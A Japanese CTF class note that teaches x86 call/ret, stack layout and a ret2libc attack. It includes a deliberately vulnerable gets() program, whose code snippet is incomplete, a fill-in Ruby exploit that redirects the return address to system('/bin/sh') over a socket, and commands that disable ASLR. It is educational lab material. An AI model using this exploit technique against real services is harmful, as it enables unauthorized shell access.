CTF班 第18回
前準備
ASLRを切っておきます $ sudo sysctl kernel.randomize_va_space=0
callとret
x86アセンブラにおけるcall, ret命令について解説します
call = push + jmp
https://gyazo.com/5f79f7863a4a5410a8e5005194546d85
IP = Instruction Pointerの略で、今どの命令が実行されているかを指すレジスタ
call命令を実行すると、「次の命令」のアドレス(リターンアドレス)をpushして指定されたアドレス(たいてい関数の場所)に処理をジャンプします
なぜ「次の命令」のアドレスをpushしておくのかは、下を見ればわかります
ret = pop + jmp
https://gyazo.com/a8f128c7bbb2bbe26a18f42ded96d04d
call命令で呼び出された関数の処理が終わって、呼び出し元に帰りたいとします
このときのスタックの状態は左のようになります
ここでret = return命令を呼び出すと、callしたときにpushしておいたリターンアドレスをpopして、そこに処理をジャンプします
このとき、呼び出した関数の処理を再開するために「次の命令」のアドレスを入れているわけです
callしたところに戻るんだからといってcall命令のアドレスを入れてしまうと、戻ってきたときにcall命令があるので、再度call命令を実行して無限ループになります
関数のはじまり・おわり
C言語でfunc(a, b, c)という呼び出しがあったとすると、1番目の引数はa、2番目の引数はb、3番目の引数はcとなります
https://gyazo.com/5f79f7863a4a5410a8e5005194546d85
関数からは、[rbp - 0x40]や[rsp + 0x8]のように、bp,spからの相対的な位置を指定します
あくまでsei0o.iconのやりかたですが、アセンブラを読んで頭の中にイメージが浮かぶようになるまでは、紙にいちいち上のような図を書いていました
ここまでの流れを実際にプログラムを動かして見てみよう
32bitであることによる不具合に注意!(byピチ田ピチの助)
breakpointを張っておきます
https://gyazo.com/7ef5bc8a9abc2ec18b1d55e010bb760a
rと打って動かすとmainの先頭で実行が止まります
bt(backtrace)を打ってリターンアドレスを見てみましょう
https://gyazo.com/d85a306fdddf27ad4598f28e930553ac
stack 0008| にリターンアドレスが入っていて、それがbtの#1と一致していることに気をつけてください
nを何度か打って進めてみます→call gets@pltまで!
https://gyazo.com/fc434797ab040ad954b6fb727efed617
stack 0000|に0xffffda00が入っていますが、これはbufを指しています
付近の命令をもう少し詳しく見てみます
https://gyazo.com/6baa9b420992335663c05c3384d26250
上のleaとmovでbufのアドレスを引数に積んでいるのがわかりますか?
(ここに図示)
libcってなんだ?
libc = Library C
C言語の関数がいろいろ入ったライブラリ
printf malloc などなど、見たことあるよね?
glibc, uclibcなど、いくつか種類がある
一般的なLinuxではglibcかな
まずsystem関数を動かしてみます
code:ex_system.c
int main() {
system("/bin/sh");
return 0;
}
コンパイルして動かすと、シェルが立ち上がるはずです
動的リンクされた実行形式のファイルを動かすときには、まずライブラリが読み込まれます
これも確認してみましょう
code:example
$ cat /proc/self/maps
...
7fea6316d000-7fea6318f000 r--p 00000000 08:03 5508380 /usr/lib/libc-2.28.so
7fea6318f000-7fea632da000 r-xp 00022000 08:03 5508380 /usr/lib/libc-2.28.so
7fea632da000-7fea63326000 r--p 0016d000 08:03 5508380 /usr/lib/libc-2.28.so
7fea63326000-7fea63327000 ---p 001b9000 08:03 5508380 /usr/lib/libc-2.28.so
...
4つに別れているのは、それぞれの領域に応じて権限(左から二列目に注目)が異なるからです
左の7fea6316d000が読み出されている領域のメモリのアドレスです、メモしておきましょう
/usr/lib/libc-2.28.soがこの場合は読み出されています、このパスもあとで使うのでメモしておきましょう
ret2libc
pwnではexecveなどを使って「シェルを取る」ことが目標になります
前回はシェルコードを使ってシステムコールを呼び出しました
今回は、このlibcを使ってsystem関数を呼び出すことでシェルを取ってみましょう
実践
これを攻撃してみましょう
code:vuln.c
char fake[] = "/bin/sh";
int main(int argc, char **argv) {
printf("Put data!\n");
gets(buf);
return 0;
}
適当に長い文字列を打ってみます
code:bash
$ ./vuln
Put data >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
fish: “./vuln” terminated by signal SIGSEGV (Address boundary error)
gets関数は何度か触ったことがあるのでわかるかもしれませんが、入力が終わるまで永遠に読み込む危険な関数の代表格です
入力を受け取るところを「バッファ」と呼ぶので、これをバッファオーバーフロー(BOF)脆弱性といいます
「オーバーフロー(overflow)」は日本語にすると「あふれる」みたいな意味です
https://gyazo.com/7e13cf60d74d936b9d5e348ae5461dac
↑の左が最初の状態です(下のほうがアドレスが小さいので気をつけて…)
gets(buf);すると、図でいう下のほうから文字が溜まっていきます
gdbでb mainで止めて見てみるとこうなります
(下のほうがアドレスが大きいので、図と逆です)
https://gyazo.com/fe87bd51aec162718c4e3e73c2821546
(rsp+)0008のところにあるのがリターンアドレス
攻撃する方法を考えてみる(↑図の右側)
関数の終わり(ここではmain)には必ずret命令がくる→リターンアドレスにジャンプする
リターンアドレスをsystem関数のアドレスに書き換えればいいのでは
system("/bin/sh")を呼びたいので、"/bin/sh"の文字列へのポインタをさらに引数として置いておけばよい
↓形が同じ
https://gyazo.com/1dff526ea6aea3f92328dea5b1ce8ae3
https://gyazo.com/a8f128c7bbb2bbe26a18f42ded96d04d
また、右上の緑色のスタック状態は、まさにcall直後の状態です
↓の右側
https://gyazo.com/5f79f7863a4a5410a8e5005194546d85
本来関数からリターンするためのretを、system関数を呼び出すために使っているということになります
systemのアドレスを探します
/usr/lib/libc-2.28.soは一例です
code:bash
$ nm -D /usr/lib/libc-2.28.so | grep system
0000000000045380 T __libc_system
000000000012cc00 T svcerr_systemerr
0000000000045380 W system
code:gdb
gdb-peda$ print system
この左側の(0x)45380という数字がlibcの先頭からsystemまでの距離(オフセット)となります
つまり、メモしておいたlibcの先頭アドレスにこのオフセットを足したアドレスにsystem関数が存在するということです
この数字も環境によって異なります、メモしておこう
"/bin/sh"という文字列はどこから引っ張ってこればいいのでしょうか
https://gyazo.com/22e559574fa4f870d34051f042f16663
https://gyazo.com/eae9a87998b0a70a8b3c0d061b94bec7ls
findコマンドで文字列を検索できます
ちょっと見切れてるけど, find /bin/shね
アドレスは0x56559024とわかりました
これももしかしたら環境によって違うかもしれない、各自メモしておきましょう
(libcからも0xf7f45aaaに見つかったと出ていますね、こっちを使ってもいいですよ)
どうしてlibcからこんな文字列が見つかるのかは考えてみてください
前回のスクリプトに書き足して攻撃スクリプトを書いてみましょう
もちろん、Pythonでもいいですよ
code:exploit.rb
require 'socket'
s = TCPSocket.open("localhost", 7000) #=> TCPSocket.open("hack.o0i.es", 8989) print s.recv(2048)
libc_addr = (メモしておいたlibcのアドレス)
system_offset = (メモしておいたsystem関数のオフセット)
binsh_addr = (メモしておいた"/bin/sh"のアドレス)
# ここに書いてみよう
# "A" + "B" は "AB" になります
payload = "A" * (32 + 8)
payload += system_addr_str
payload += "AAAA"
payload += binsh_addr_str
s.send(payload + "\n", 0)
loop do
s.send(gets, 0)
print s.recv(1024)
end
サーバを立てておきます
code:bash
$ socat tcp-listen:7000,reuseaddr,fork exec:./vuln
動くかな? $ ruby exploit.rb
このように、libcの関数にジャンプさせる手法をret2libc = return to libcといいます
後片付け
ASLRを有効にしておきます $ sudo sysctl kernel.randomize_va_space=2
補足
ASLR (Address Space Layout Randomization)って何?
たぶんどっかで話した気がするのでググってください
練習問題
メモ
なんかちょっと他の人と違うとこがあってとても怖かった(byピチ山ピチ夫)
gccでコンパイルするとespをpushしておくのでBOFしたあとだとInvalid PC addressになってつらい
→clangでコンパイルして解決 -m32